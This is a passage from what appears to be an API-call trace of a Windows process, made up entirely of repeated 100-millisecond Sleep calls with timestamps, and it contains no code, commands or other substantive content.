Sleep (dwMilliseconds=0x64) [0180.426] Sleep (dwMilliseconds=0x64) [0180.442] Sleep (dwMilliseconds=0x64) [0180.457] Sleep (dwMilliseconds=0x64) [0180.473] Sleep (dwMilliseconds=0x64) [0180.488] Sleep (dwMilliseconds=0x64) [0180.504] Sleep (dwMilliseconds=0x64) [0180.519] Sleep (dwMilliseconds=0x64) [0180.535] Sleep (dwMilliseconds=0x64) [0180.551] Sleep (dwMilliseconds=0x64) [0180.571] Sleep (dwMilliseconds=0x64) [0180.582] Sleep (dwMilliseconds=0x64) [0180.598] Sleep (dwMilliseconds=0x64) [0180.613] Sleep (dwMilliseconds=0x64) [0180.629] Sleep (dwMilliseconds=0x64) [0180.651] Sleep (dwMilliseconds=0x64) [0180.660] Sleep (dwMilliseconds=0x64) [0180.675] Sleep (dwMilliseconds=0x64) [0180.691] Sleep (dwMilliseconds=0x64) [0180.707] Sleep (dwMilliseconds=0x64) [0180.722] Sleep (dwMilliseconds=0x64) [0180.739] Sleep (dwMilliseconds=0x64) [0180.754] Sleep (dwMilliseconds=0x64) [0180.769] Sleep (dwMilliseconds=0x64) [0180.785] Sleep (dwMilliseconds=0x64) [0180.800] Sleep (dwMilliseconds=0x64) [0180.816] Sleep (dwMilliseconds=0x64) [0180.831] Sleep (dwMilliseconds=0x64) [0180.847] Sleep (dwMilliseconds=0x64) [0180.864] Sleep (dwMilliseconds=0x64) [0180.878] Sleep (dwMilliseconds=0x64) [0180.894] Sleep (dwMilliseconds=0x64) [0180.922] Sleep (dwMilliseconds=0x64) [0180.927] Sleep (dwMilliseconds=0x64) [0180.941] Sleep (dwMilliseconds=0x64) [0180.956] Sleep (dwMilliseconds=0x64) [0180.974] Sleep (dwMilliseconds=0x64) [0180.987] Sleep (dwMilliseconds=0x64) [0181.003] Sleep (dwMilliseconds=0x64) [0181.019] Sleep (dwMilliseconds=0x64) [0181.034] Sleep (dwMilliseconds=0x64) [0181.050] Sleep (dwMilliseconds=0x64) [0181.065] Sleep (dwMilliseconds=0x64) [0181.081] Sleep (dwMilliseconds=0x64) [0181.097] Sleep (dwMilliseconds=0x64) [0181.112] Sleep (dwMilliseconds=0x64) [0181.128] Sleep (dwMilliseconds=0x64) [0181.143] Sleep (dwMilliseconds=0x64) [0181.159] Sleep (dwMilliseconds=0x64) [0181.174] Sleep (dwMilliseconds=0x64) [0181.191] Sleep (dwMilliseconds=0x64) [0181.206] Sleep (dwMilliseconds=0x64) [0181.221] Sleep (dwMilliseconds=0x64) [0181.237] Sleep (dwMilliseconds=0x64) [0181.253] Sleep (dwMilliseconds=0x64) [0181.271] Sleep (dwMilliseconds=0x64) [0181.284] Sleep (dwMilliseconds=0x64) [0181.300] Sleep (dwMilliseconds=0x64) [0181.315] Sleep (dwMilliseconds=0x64) [0181.338] Sleep (dwMilliseconds=0x64) [0181.346] Sleep (dwMilliseconds=0x64) [0181.362] Sleep (dwMilliseconds=0x64) [0181.380] Sleep (dwMilliseconds=0x64) [0181.393] Sleep (dwMilliseconds=0x64) [0181.409] Sleep (dwMilliseconds=0x64) [0181.424] Sleep (dwMilliseconds=0x64) [0181.440] Sleep (dwMilliseconds=0x64) [0181.457] Sleep (dwMilliseconds=0x64) [0181.471] Sleep (dwMilliseconds=0x64) [0181.487] Sleep (dwMilliseconds=0x64) [0181.502] Sleep (dwMilliseconds=0x64) [0181.518] Sleep (dwMilliseconds=0x64) [0181.533] Sleep (dwMilliseconds=0x64) [0181.549] Sleep (dwMilliseconds=0x64) [0181.565] Sleep (dwMilliseconds=0x64) [0181.581] Sleep (dwMilliseconds=0x64) [0181.596] Sleep (dwMilliseconds=0x64) [0181.612] Sleep (dwMilliseconds=0x64) [0181.642] Sleep (dwMilliseconds=0x64) [0181.658] Sleep (dwMilliseconds=0x64) [0181.674] Sleep (dwMilliseconds=0x64) [0181.689] Sleep (dwMilliseconds=0x64) [0181.705] Sleep (dwMilliseconds=0x64) [0181.720] Sleep (dwMilliseconds=0x64) [0181.736] Sleep (dwMilliseconds=0x64) [0181.752] Sleep (dwMilliseconds=0x64) [0181.767] Sleep (dwMilliseconds=0x64) [0181.784] Sleep (dwMilliseconds=0x64) [0181.799] Sleep (dwMilliseconds=0x64) [0181.816] Sleep (dwMilliseconds=0x64) [0181.830] Sleep (dwMilliseconds=0x64) [0181.846] Sleep (dwMilliseconds=0x64) [0181.861] Sleep (dwMilliseconds=0x64) [0181.877] Sleep (dwMilliseconds=0x64) [0181.892] Sleep (dwMilliseconds=0x64) [0181.908] Sleep (dwMilliseconds=0x64) [0181.937] Sleep (dwMilliseconds=0x64) [0181.939] Sleep (dwMilliseconds=0x64) [0181.956] Sleep (dwMilliseconds=0x64) [0181.970] Sleep (dwMilliseconds=0x64) [0181.985] Sleep (dwMilliseconds=0x64) [0182.001] Sleep (dwMilliseconds=0x64) [0182.017] Sleep (dwMilliseconds=0x64) [0182.032] Sleep (dwMilliseconds=0x64) [0182.048] Sleep (dwMilliseconds=0x64) [0182.064] Sleep (dwMilliseconds=0x64) [0182.079] Sleep (dwMilliseconds=0x64) [0182.095] Sleep (dwMilliseconds=0x64) [0182.111] Sleep (dwMilliseconds=0x64) [0182.126] Sleep (dwMilliseconds=0x64) [0182.142] Sleep (dwMilliseconds=0x64) [0182.157] Sleep (dwMilliseconds=0x64) [0182.173] Sleep (dwMilliseconds=0x64) [0182.189] Sleep (dwMilliseconds=0x64) [0182.204] Sleep (dwMilliseconds=0x64) [0182.220] Sleep (dwMilliseconds=0x64) [0182.235] Sleep (dwMilliseconds=0x64) [0182.251] Sleep (dwMilliseconds=0x64) [0182.267] Sleep (dwMilliseconds=0x64) [0182.282] Sleep (dwMilliseconds=0x64) [0182.298] Sleep (dwMilliseconds=0x64) [0182.313] Sleep (dwMilliseconds=0x64) [0182.337] Sleep (dwMilliseconds=0x64) [0182.348] Sleep (dwMilliseconds=0x64) [0182.360] Sleep (dwMilliseconds=0x64) [0182.376] Sleep (dwMilliseconds=0x64) [0182.391] Sleep (dwMilliseconds=0x64) [0182.407] Sleep (dwMilliseconds=0x64) [0182.424] Sleep (dwMilliseconds=0x64) [0182.438] Sleep (dwMilliseconds=0x64) [0182.454] Sleep (dwMilliseconds=0x64) [0182.469] Sleep (dwMilliseconds=0x64) [0182.485] Sleep (dwMilliseconds=0x64) [0182.504] Sleep (dwMilliseconds=0x64) [0182.516] Sleep (dwMilliseconds=0x64) [0182.532] Sleep (dwMilliseconds=0x64) [0182.547] Sleep (dwMilliseconds=0x64) [0182.563] Sleep (dwMilliseconds=0x64) [0182.579] Sleep (dwMilliseconds=0x64) [0182.594] Sleep (dwMilliseconds=0x64) [0182.610] Sleep (dwMilliseconds=0x64) [0182.630] Sleep (dwMilliseconds=0x64) [0182.641] Sleep (dwMilliseconds=0x64) [0182.657] Sleep (dwMilliseconds=0x64) [0182.677] Sleep (dwMilliseconds=0x64) [0182.688] Sleep (dwMilliseconds=0x64) [0182.703] Sleep (dwMilliseconds=0x64) [0182.719] Sleep (dwMilliseconds=0x64) [0182.734] Sleep (dwMilliseconds=0x64) [0182.750] Sleep (dwMilliseconds=0x64) [0182.766] Sleep (dwMilliseconds=0x64) [0182.781] Sleep (dwMilliseconds=0x64) [0182.797] Sleep (dwMilliseconds=0x64) [0182.814] Sleep (dwMilliseconds=0x64) [0182.828] Sleep (dwMilliseconds=0x64) [0182.844] Sleep (dwMilliseconds=0x64) [0182.859] Sleep (dwMilliseconds=0x64) [0182.876] Sleep (dwMilliseconds=0x64) [0182.890] Sleep (dwMilliseconds=0x64) [0182.908] Sleep (dwMilliseconds=0x64) [0182.922] Sleep (dwMilliseconds=0x64) [0182.952] Sleep (dwMilliseconds=0x64) [0182.953] Sleep (dwMilliseconds=0x64) [0182.969] Sleep (dwMilliseconds=0x64) [0182.984] Sleep (dwMilliseconds=0x64) [0183.000] Sleep (dwMilliseconds=0x64) [0183.015] Sleep (dwMilliseconds=0x64) [0183.031] Sleep (dwMilliseconds=0x64) [0183.047] Sleep (dwMilliseconds=0x64) [0183.064] Sleep (dwMilliseconds=0x64) [0183.078] Sleep (dwMilliseconds=0x64) [0183.093] Sleep (dwMilliseconds=0x64) [0183.109] Sleep (dwMilliseconds=0x64) [0183.125] Sleep (dwMilliseconds=0x64) [0183.140] Sleep (dwMilliseconds=0x64) [0183.156] Sleep (dwMilliseconds=0x64) [0183.174] Sleep (dwMilliseconds=0x64) [0183.187] Sleep (dwMilliseconds=0x64) [0183.204] Sleep (dwMilliseconds=0x64) [0183.218] Sleep (dwMilliseconds=0x64) [0183.236] Sleep (dwMilliseconds=0x64) [0183.249] Sleep (dwMilliseconds=0x64) [0183.268] Sleep (dwMilliseconds=0x64) [0183.281] Sleep (dwMilliseconds=0x64) [0183.296] Sleep (dwMilliseconds=0x64) [0183.312] Sleep (dwMilliseconds=0x64) [0183.337] Sleep (dwMilliseconds=0x64) [0183.343] Sleep (dwMilliseconds=0x64) [0183.358] Sleep (dwMilliseconds=0x64) [0183.374] Sleep (dwMilliseconds=0x64) [0183.390] Sleep (dwMilliseconds=0x64) [0183.407] Sleep (dwMilliseconds=0x64) [0183.421] Sleep (dwMilliseconds=0x64) [0183.437] Sleep (dwMilliseconds=0x64) [0183.452] Sleep (dwMilliseconds=0x64) [0183.468] Sleep (dwMilliseconds=0x64) [0183.483] Sleep (dwMilliseconds=0x64) [0183.499] Sleep (dwMilliseconds=0x64) [0183.515] Sleep (dwMilliseconds=0x64) [0183.530] Sleep (dwMilliseconds=0x64) [0183.546] Sleep (dwMilliseconds=0x64) [0183.561] Sleep (dwMilliseconds=0x64) [0183.577] Sleep (dwMilliseconds=0x64) [0183.593] Sleep (dwMilliseconds=0x64) [0183.608] Sleep (dwMilliseconds=0x64) [0183.624] Sleep (dwMilliseconds=0x64) [0183.649] Sleep (dwMilliseconds=0x64) [0183.655] Sleep (dwMilliseconds=0x64) [0183.671] Sleep (dwMilliseconds=0x64) [0183.694] Sleep (dwMilliseconds=0x64) [0183.702] Sleep (dwMilliseconds=0x64) [0183.718] Sleep (dwMilliseconds=0x64) [0183.733] Sleep (dwMilliseconds=0x64) [0183.749] Sleep (dwMilliseconds=0x64) [0183.764] Sleep (dwMilliseconds=0x64) [0183.780] Sleep (dwMilliseconds=0x64) [0183.796] Sleep (dwMilliseconds=0x64) [0183.811] Sleep (dwMilliseconds=0x64) [0183.827] Sleep (dwMilliseconds=0x64) [0183.842] Sleep (dwMilliseconds=0x64) [0183.858] Sleep (dwMilliseconds=0x64) [0183.873] Sleep (dwMilliseconds=0x64) [0183.889] Sleep (dwMilliseconds=0x64) [0183.905] Sleep (dwMilliseconds=0x64) [0183.921] Sleep (dwMilliseconds=0x64) [0183.950] Sleep (dwMilliseconds=0x64) [0183.951] Sleep (dwMilliseconds=0x64) [0183.967] Sleep (dwMilliseconds=0x64) [0183.982] Sleep (dwMilliseconds=0x64) [0183.998] Sleep (dwMilliseconds=0x64) [0184.014] Sleep (dwMilliseconds=0x64) [0184.029] Sleep (dwMilliseconds=0x64) [0184.045] Sleep (dwMilliseconds=0x64) [0184.061] Sleep (dwMilliseconds=0x64) [0184.076] Sleep (dwMilliseconds=0x64) [0184.092] Sleep (dwMilliseconds=0x64) [0184.107] Sleep (dwMilliseconds=0x64) [0184.123] Sleep (dwMilliseconds=0x64) [0184.139] Sleep (dwMilliseconds=0x64) [0184.154] Sleep (dwMilliseconds=0x64) [0184.170] Sleep (dwMilliseconds=0x64) [0184.187] Sleep (dwMilliseconds=0x64) [0184.201] Sleep (dwMilliseconds=0x64) [0184.217] Sleep (dwMilliseconds=0x64) [0184.232] Sleep (dwMilliseconds=0x64) [0184.248] Sleep (dwMilliseconds=0x64) [0184.264] Sleep (dwMilliseconds=0x64) [0184.280] Sleep (dwMilliseconds=0x64) [0184.295] Sleep (dwMilliseconds=0x64) [0184.314] Sleep (dwMilliseconds=0x64) [0184.326] Sleep (dwMilliseconds=0x64) [0184.350] Sleep (dwMilliseconds=0x64) [0184.357] Sleep (dwMilliseconds=0x64) [0184.373] Sleep (dwMilliseconds=0x64) [0184.388] Sleep (dwMilliseconds=0x64) [0184.404] Sleep (dwMilliseconds=0x64) [0184.419] Sleep (dwMilliseconds=0x64) [0184.435] Sleep (dwMilliseconds=0x64) [0184.451] Sleep (dwMilliseconds=0x64) [0184.467] Sleep (dwMilliseconds=0x64) [0184.482] Sleep (dwMilliseconds=0x64) [0184.498] Sleep (dwMilliseconds=0x64) [0184.513] Sleep (dwMilliseconds=0x64) [0184.529] Sleep (dwMilliseconds=0x64) [0184.544] Sleep (dwMilliseconds=0x64) [0184.560] Sleep (dwMilliseconds=0x64) [0184.575] Sleep (dwMilliseconds=0x64) [0184.591] Sleep (dwMilliseconds=0x64) [0184.607] Sleep (dwMilliseconds=0x64) [0184.622] Sleep (dwMilliseconds=0x64) [0184.638] Sleep (dwMilliseconds=0x64) [0184.658] Sleep (dwMilliseconds=0x64) [0184.669] Sleep (dwMilliseconds=0x64) [0184.685] Sleep (dwMilliseconds=0x64) [0184.704] Sleep (dwMilliseconds=0x64) [0184.716] Sleep (dwMilliseconds=0x64) [0184.731] Sleep (dwMilliseconds=0x64) [0184.747] Sleep (dwMilliseconds=0x64) [0184.763] Sleep (dwMilliseconds=0x64) [0184.778] Sleep (dwMilliseconds=0x64) [0184.794] Sleep (dwMilliseconds=0x64) [0184.811] Sleep (dwMilliseconds=0x64) [0184.825] Sleep (dwMilliseconds=0x64) [0184.841] Sleep (dwMilliseconds=0x64) [0184.856] Sleep (dwMilliseconds=0x64) [0184.872] Sleep (dwMilliseconds=0x64) [0184.887] Sleep (dwMilliseconds=0x64) [0184.903] Sleep (dwMilliseconds=0x64) [0184.919] Sleep (dwMilliseconds=0x64) [0184.935] Sleep (dwMilliseconds=0x64) [0184.951] Sleep (dwMilliseconds=0x64) [0184.967] Sleep (dwMilliseconds=0x64) [0184.981] Sleep (dwMilliseconds=0x64) [0184.997] Sleep (dwMilliseconds=0x64) [0185.012] Sleep (dwMilliseconds=0x64) [0185.028] Sleep (dwMilliseconds=0x64) [0185.043] Sleep (dwMilliseconds=0x64) [0185.059] Sleep (dwMilliseconds=0x64) [0185.075] Sleep (dwMilliseconds=0x64) [0185.090] Sleep (dwMilliseconds=0x64) [0185.106] Sleep (dwMilliseconds=0x64) [0185.121] Sleep (dwMilliseconds=0x64) [0185.137] Sleep (dwMilliseconds=0x64) [0185.153] Sleep (dwMilliseconds=0x64) [0185.168] Sleep (dwMilliseconds=0x64) [0185.184] Sleep (dwMilliseconds=0x64) [0185.199] Sleep (dwMilliseconds=0x64) [0185.215] Sleep (dwMilliseconds=0x64) [0185.230] Sleep (dwMilliseconds=0x64) [0185.246] Sleep (dwMilliseconds=0x64) [0185.262] Sleep (dwMilliseconds=0x64) [0185.277] Sleep (dwMilliseconds=0x64) [0185.293] Sleep (dwMilliseconds=0x64) [0185.309] Sleep (dwMilliseconds=0x64) [0185.324] Sleep (dwMilliseconds=0x64) [0185.348] Sleep (dwMilliseconds=0x64) [0185.355] Sleep (dwMilliseconds=0x64) [0185.371] Sleep (dwMilliseconds=0x64) [0185.390] Sleep (dwMilliseconds=0x64) [0185.402] Sleep (dwMilliseconds=0x64) [0185.418] Sleep (dwMilliseconds=0x64) [0185.434] Sleep (dwMilliseconds=0x64) [0185.449] Sleep (dwMilliseconds=0x64) [0185.465] Sleep (dwMilliseconds=0x64) [0185.480] Sleep (dwMilliseconds=0x64) [0185.496] Sleep (dwMilliseconds=0x64) [0185.511] Sleep (dwMilliseconds=0x64) [0185.528] Sleep (dwMilliseconds=0x64) [0185.543] Sleep (dwMilliseconds=0x64) [0185.559] Sleep (dwMilliseconds=0x64) [0185.574] Sleep (dwMilliseconds=0x64) [0185.589] Sleep (dwMilliseconds=0x64) [0185.605] Sleep (dwMilliseconds=0x64) [0185.622] Sleep (dwMilliseconds=0x64) [0185.636] Sleep (dwMilliseconds=0x64) [0185.665] Sleep (dwMilliseconds=0x64) [0185.668] Sleep (dwMilliseconds=0x64) [0185.683] Sleep (dwMilliseconds=0x64) [0185.698] Sleep (dwMilliseconds=0x64) [0185.716] Sleep (dwMilliseconds=0x64) [0185.730] Sleep (dwMilliseconds=0x64) [0185.745] Sleep (dwMilliseconds=0x64) [0185.761] Sleep (dwMilliseconds=0x64) [0185.777] Sleep (dwMilliseconds=0x64) [0185.792] Sleep (dwMilliseconds=0x64) [0185.808] Sleep (dwMilliseconds=0x64) [0185.823] Sleep (dwMilliseconds=0x64) [0185.840] Sleep (dwMilliseconds=0x64) [0185.855] Sleep (dwMilliseconds=0x64) [0185.870] Sleep (dwMilliseconds=0x64) [0185.886] Sleep (dwMilliseconds=0x64) [0185.901] Sleep (dwMilliseconds=0x64) [0185.917] Sleep (dwMilliseconds=0x64) [0185.935] Sleep (dwMilliseconds=0x64) [0185.962] Sleep (dwMilliseconds=0x64) [0185.963] Sleep (dwMilliseconds=0x64) [0185.979] Sleep (dwMilliseconds=0x64) [0185.995] Sleep (dwMilliseconds=0x64) [0186.010] Sleep (dwMilliseconds=0x64) [0186.026] Sleep (dwMilliseconds=0x64) [0186.042] Sleep (dwMilliseconds=0x64) [0186.058] Sleep (dwMilliseconds=0x64) [0186.073] Sleep (dwMilliseconds=0x64) [0186.089] Sleep (dwMilliseconds=0x64) [0186.104] Sleep (dwMilliseconds=0x64) [0186.136] Sleep (dwMilliseconds=0x64) [0186.151] Sleep (dwMilliseconds=0x64) [0186.173] Sleep (dwMilliseconds=0x64) [0186.182] Sleep (dwMilliseconds=0x64) [0186.200] Sleep (dwMilliseconds=0x64) [0186.213] Sleep (dwMilliseconds=0x64) [0186.230] Sleep (dwMilliseconds=0x64) [0186.244] Sleep (dwMilliseconds=0x64) [0186.261] Sleep (dwMilliseconds=0x64) [0186.276] Sleep (dwMilliseconds=0x64) [0186.293] Sleep (dwMilliseconds=0x64) [0186.307] Sleep (dwMilliseconds=0x64) [0186.323] Sleep (dwMilliseconds=0x64) [0186.351] Sleep (dwMilliseconds=0x64) [0186.354] Sleep (dwMilliseconds=0x64) [0186.369] Sleep (dwMilliseconds=0x64) [0186.389] Sleep (dwMilliseconds=0x64) [0186.400] Sleep (dwMilliseconds=0x64) [0186.416] Sleep (dwMilliseconds=0x64) [0186.432] Sleep (dwMilliseconds=0x64) [0186.447] Sleep (dwMilliseconds=0x64) [0186.463] Sleep (dwMilliseconds=0x64) [0186.478] Sleep (dwMilliseconds=0x64) [0186.494] Sleep (dwMilliseconds=0x64) [0186.510] Sleep (dwMilliseconds=0x64) [0186.525] Sleep (dwMilliseconds=0x64) [0186.541] Sleep (dwMilliseconds=0x64) [0186.557] Sleep (dwMilliseconds=0x64) [0186.572] Sleep (dwMilliseconds=0x64) [0186.589] Sleep (dwMilliseconds=0x64) [0186.603] Sleep (dwMilliseconds=0x64) [0186.619] Sleep (dwMilliseconds=0x64) [0186.635] Sleep (dwMilliseconds=0x64) [0186.650] Sleep (dwMilliseconds=0x64) [0186.666] Sleep (dwMilliseconds=0x64) [0186.682] Sleep (dwMilliseconds=0x64) [0186.697] Sleep (dwMilliseconds=0x64) [0186.714] Sleep (dwMilliseconds=0x64) [0186.733] Sleep (dwMilliseconds=0x64) [0186.744] Sleep (dwMilliseconds=0x64) [0186.760] Sleep (dwMilliseconds=0x64) [0186.775] Sleep (dwMilliseconds=0x64) [0186.791] Sleep (dwMilliseconds=0x64) [0186.806] Sleep (dwMilliseconds=0x64) [0186.822] Sleep (dwMilliseconds=0x64) [0186.837] Sleep (dwMilliseconds=0x64) [0186.853] Sleep (dwMilliseconds=0x64) [0186.870] Sleep (dwMilliseconds=0x64) [0186.885] Sleep (dwMilliseconds=0x64) [0186.901] Sleep (dwMilliseconds=0x64) [0186.915] Sleep (dwMilliseconds=0x64) [0186.932] Sleep (dwMilliseconds=0x64) [0186.947] Sleep (dwMilliseconds=0x64) [0186.976] Sleep (dwMilliseconds=0x64) [0186.977] Sleep (dwMilliseconds=0x64) [0186.993] Sleep (dwMilliseconds=0x64) [0187.009] Sleep (dwMilliseconds=0x64) [0187.024] Sleep (dwMilliseconds=0x64) [0187.042] Sleep (dwMilliseconds=0x64) [0187.056] Sleep (dwMilliseconds=0x64) [0187.071] Sleep (dwMilliseconds=0x64) [0187.087] Sleep (dwMilliseconds=0x64) [0187.103] Sleep (dwMilliseconds=0x64) [0187.119] Sleep (dwMilliseconds=0x64) [0187.134] Sleep (dwMilliseconds=0x64) [0187.149] Sleep (dwMilliseconds=0x64) [0187.165] Sleep (dwMilliseconds=0x64) [0187.181] Sleep (dwMilliseconds=0x64) [0187.197] Sleep (dwMilliseconds=0x64) [0187.212] Sleep (dwMilliseconds=0x64) [0187.227] Sleep (dwMilliseconds=0x64) [0187.243] Sleep (dwMilliseconds=0x64) [0187.259] Sleep (dwMilliseconds=0x64) [0187.274] Sleep (dwMilliseconds=0x64) [0187.290] Sleep (dwMilliseconds=0x64) [0187.306] Sleep (dwMilliseconds=0x64) [0187.321] Sleep (dwMilliseconds=0x64) [0187.347] Sleep (dwMilliseconds=0x64) [0187.352] Sleep (dwMilliseconds=0x64) [0187.368] Sleep (dwMilliseconds=0x64) [0187.383] Sleep (dwMilliseconds=0x64) [0187.399] Sleep (dwMilliseconds=0x64) [0187.414] Sleep (dwMilliseconds=0x64) [0187.430] Sleep (dwMilliseconds=0x64) [0187.446] Sleep (dwMilliseconds=0x64) [0187.461] Sleep (dwMilliseconds=0x64) [0187.477] Sleep (dwMilliseconds=0x64) [0187.493] Sleep (dwMilliseconds=0x64) [0187.510] Sleep (dwMilliseconds=0x64) [0187.524] Sleep (dwMilliseconds=0x64) [0187.539] Sleep (dwMilliseconds=0x64) [0187.555] Sleep (dwMilliseconds=0x64) [0187.571] Sleep (dwMilliseconds=0x64) [0187.589] Sleep (dwMilliseconds=0x64) [0187.602] Sleep (dwMilliseconds=0x64) [0187.617] Sleep (dwMilliseconds=0x64) [0187.633] Sleep (dwMilliseconds=0x64) [0187.649] Sleep (dwMilliseconds=0x64) [0187.666] Sleep (dwMilliseconds=0x64) [0187.680] Sleep (dwMilliseconds=0x64) [0187.696] Sleep (dwMilliseconds=0x64) [0187.711] Sleep (dwMilliseconds=0x64) [0187.726] Sleep (dwMilliseconds=0x64) [0187.750] Sleep (dwMilliseconds=0x64) [0187.758] Sleep (dwMilliseconds=0x64) [0187.773] Sleep (dwMilliseconds=0x64) [0187.789] Sleep (dwMilliseconds=0x64) [0187.804] Sleep (dwMilliseconds=0x64) [0187.820] Sleep (dwMilliseconds=0x64) [0187.836] Sleep (dwMilliseconds=0x64) [0187.851] Sleep (dwMilliseconds=0x64) [0187.867] Sleep (dwMilliseconds=0x64) [0187.883] Sleep (dwMilliseconds=0x64) [0187.898] Sleep (dwMilliseconds=0x64) [0187.921] Sleep (dwMilliseconds=0x64) [0187.930] Sleep (dwMilliseconds=0x64) [0187.945] Sleep (dwMilliseconds=0x64) [0187.961] Sleep (dwMilliseconds=0x64) [0187.990] Sleep (dwMilliseconds=0x64) [0187.992] Sleep (dwMilliseconds=0x64) [0188.007] Sleep (dwMilliseconds=0x64) [0188.023] Sleep (dwMilliseconds=0x64) [0188.039] Sleep (dwMilliseconds=0x64) [0188.054] Sleep (dwMilliseconds=0x64) [0188.070] Sleep (dwMilliseconds=0x64) [0188.085] Sleep (dwMilliseconds=0x64) [0188.101] Sleep (dwMilliseconds=0x64) [0188.118] Sleep (dwMilliseconds=0x64) [0188.132] Sleep (dwMilliseconds=0x64) [0188.148] Sleep (dwMilliseconds=0x64) [0188.163] Sleep (dwMilliseconds=0x64) [0188.180] Sleep (dwMilliseconds=0x64) [0188.195] Sleep (dwMilliseconds=0x64) [0188.210] Sleep (dwMilliseconds=0x64) [0188.226] Sleep (dwMilliseconds=0x64) [0188.241] Sleep (dwMilliseconds=0x64) [0188.257] Sleep (dwMilliseconds=0x64) [0188.273] Sleep (dwMilliseconds=0x64) [0188.288] Sleep (dwMilliseconds=0x64) [0188.304] Sleep (dwMilliseconds=0x64) [0188.319] Sleep (dwMilliseconds=0x64) [0188.345] Sleep (dwMilliseconds=0x64) [0188.351] Sleep (dwMilliseconds=0x64) [0188.366] Sleep (dwMilliseconds=0x64) [0188.382] Sleep (dwMilliseconds=0x64) [0188.399] Sleep (dwMilliseconds=0x64) [0188.413] Sleep (dwMilliseconds=0x64) [0188.429] Sleep (dwMilliseconds=0x64) [0188.444] Sleep (dwMilliseconds=0x64) [0188.460] Sleep (dwMilliseconds=0x64) [0188.475] Sleep (dwMilliseconds=0x64) [0188.491] Sleep (dwMilliseconds=0x64) [0188.511] Sleep (dwMilliseconds=0x64) [0188.522] Sleep (dwMilliseconds=0x64) [0188.538] Sleep (dwMilliseconds=0x64) [0188.553] Sleep (dwMilliseconds=0x64) [0188.569] Sleep (dwMilliseconds=0x64) [0188.585] Sleep (dwMilliseconds=0x64) [0188.600] Sleep (dwMilliseconds=0x64) [0188.616] Sleep (dwMilliseconds=0x64) [0188.631] Sleep (dwMilliseconds=0x64) [0188.647] Sleep (dwMilliseconds=0x64) [0188.663] Sleep (dwMilliseconds=0x64) [0188.678] Sleep (dwMilliseconds=0x64) [0188.694] Sleep (dwMilliseconds=0x64) [0188.710] Sleep (dwMilliseconds=0x64) [0188.725] Sleep (dwMilliseconds=0x64) [0188.745] Sleep (dwMilliseconds=0x64) [0188.763] Sleep (dwMilliseconds=0x64) [0188.772] Sleep (dwMilliseconds=0x64) [0188.787] Sleep (dwMilliseconds=0x64) [0188.803] Sleep (dwMilliseconds=0x64) [0188.819] Sleep (dwMilliseconds=0x64) [0188.834] Sleep (dwMilliseconds=0x64) [0188.850] Sleep (dwMilliseconds=0x64) [0188.865] Sleep (dwMilliseconds=0x64) [0188.881] Sleep (dwMilliseconds=0x64) [0188.897] Sleep (dwMilliseconds=0x64) [0188.912] Sleep (dwMilliseconds=0x64) [0188.928] Sleep (dwMilliseconds=0x64) [0188.944] Sleep (dwMilliseconds=0x64) [0188.959] Sleep (dwMilliseconds=0x64) [0188.975] Sleep (dwMilliseconds=0x64) [0189.004] Sleep (dwMilliseconds=0x64) [0189.006] Sleep (dwMilliseconds=0x64) [0189.023] Sleep (dwMilliseconds=0x64) [0189.037] Sleep (dwMilliseconds=0x64) [0189.053] Sleep (dwMilliseconds=0x64) [0189.068] Sleep (dwMilliseconds=0x64) [0189.084] Sleep (dwMilliseconds=0x64) [0189.099] Sleep (dwMilliseconds=0x64) [0189.115] Sleep (dwMilliseconds=0x64) [0189.131] Sleep (dwMilliseconds=0x64) [0189.146] Sleep (dwMilliseconds=0x64) [0189.162] Sleep (dwMilliseconds=0x64) [0189.177] Sleep (dwMilliseconds=0x64) [0189.193] Sleep (dwMilliseconds=0x64) [0189.209] Sleep (dwMilliseconds=0x64) [0189.224] Sleep (dwMilliseconds=0x64) [0189.241] Sleep (dwMilliseconds=0x64) [0189.256] Sleep (dwMilliseconds=0x64) [0189.271] Sleep (dwMilliseconds=0x64) [0189.287] Sleep (dwMilliseconds=0x64) [0189.302] Sleep (dwMilliseconds=0x64) [0189.318] Sleep (dwMilliseconds=0x64) [0189.343] Sleep (dwMilliseconds=0x64) [0189.349] Sleep (dwMilliseconds=0x64) [0189.365] Sleep (dwMilliseconds=0x64) [0189.380] Sleep (dwMilliseconds=0x64) [0189.396] Sleep (dwMilliseconds=0x64) [0189.411] Sleep (dwMilliseconds=0x64) [0189.431] Sleep (dwMilliseconds=0x64) [0189.446] Sleep (dwMilliseconds=0x64) [0189.458] Sleep (dwMilliseconds=0x64) [0189.474] Sleep (dwMilliseconds=0x64) [0189.490] Sleep (dwMilliseconds=0x64) [0189.505] Sleep (dwMilliseconds=0x64) [0189.520] Sleep (dwMilliseconds=0x64) [0189.536] Sleep (dwMilliseconds=0x64) [0189.552] Sleep (dwMilliseconds=0x64) [0189.567] Sleep (dwMilliseconds=0x64) [0189.583] Sleep (dwMilliseconds=0x64) [0189.599] Sleep (dwMilliseconds=0x64) [0189.614] Sleep (dwMilliseconds=0x64) [0189.630] Sleep (dwMilliseconds=0x64) [0189.645] Sleep (dwMilliseconds=0x64) [0189.661] Sleep (dwMilliseconds=0x64) [0189.680] Sleep (dwMilliseconds=0x64) [0189.692] Sleep (dwMilliseconds=0x64) [0189.708] Sleep (dwMilliseconds=0x64) [0189.724] Sleep (dwMilliseconds=0x64) [0189.739] Sleep (dwMilliseconds=0x64) [0189.755] Sleep (dwMilliseconds=0x64) [0189.774] Sleep (dwMilliseconds=0x64) [0189.787] Sleep (dwMilliseconds=0x64) [0189.801] Sleep (dwMilliseconds=0x64) [0189.817] Sleep (dwMilliseconds=0x64) [0189.833] Sleep (dwMilliseconds=0x64) [0189.848] Sleep (dwMilliseconds=0x64) [0189.864] Sleep (dwMilliseconds=0x64) [0189.880] Sleep (dwMilliseconds=0x64) [0189.895] Sleep (dwMilliseconds=0x64) [0189.911] Sleep (dwMilliseconds=0x64) [0189.926] Sleep (dwMilliseconds=0x64) [0189.942] Sleep (dwMilliseconds=0x64) [0189.957] Sleep (dwMilliseconds=0x64) [0189.973] Sleep (dwMilliseconds=0x64) [0189.988] Sleep (dwMilliseconds=0x64) [0190.018] Sleep (dwMilliseconds=0x64) [0190.020] Sleep (dwMilliseconds=0x64) [0190.035] Sleep (dwMilliseconds=0x64) [0190.051] Sleep (dwMilliseconds=0x64) [0190.068] Sleep (dwMilliseconds=0x64) [0190.082] Sleep (dwMilliseconds=0x64) [0190.098] Sleep (dwMilliseconds=0x64) [0190.115] Sleep (dwMilliseconds=0x64) [0190.129] Sleep (dwMilliseconds=0x64) [0190.145] Sleep (dwMilliseconds=0x64) [0190.160] Sleep (dwMilliseconds=0x64) [0190.176] Sleep (dwMilliseconds=0x64) 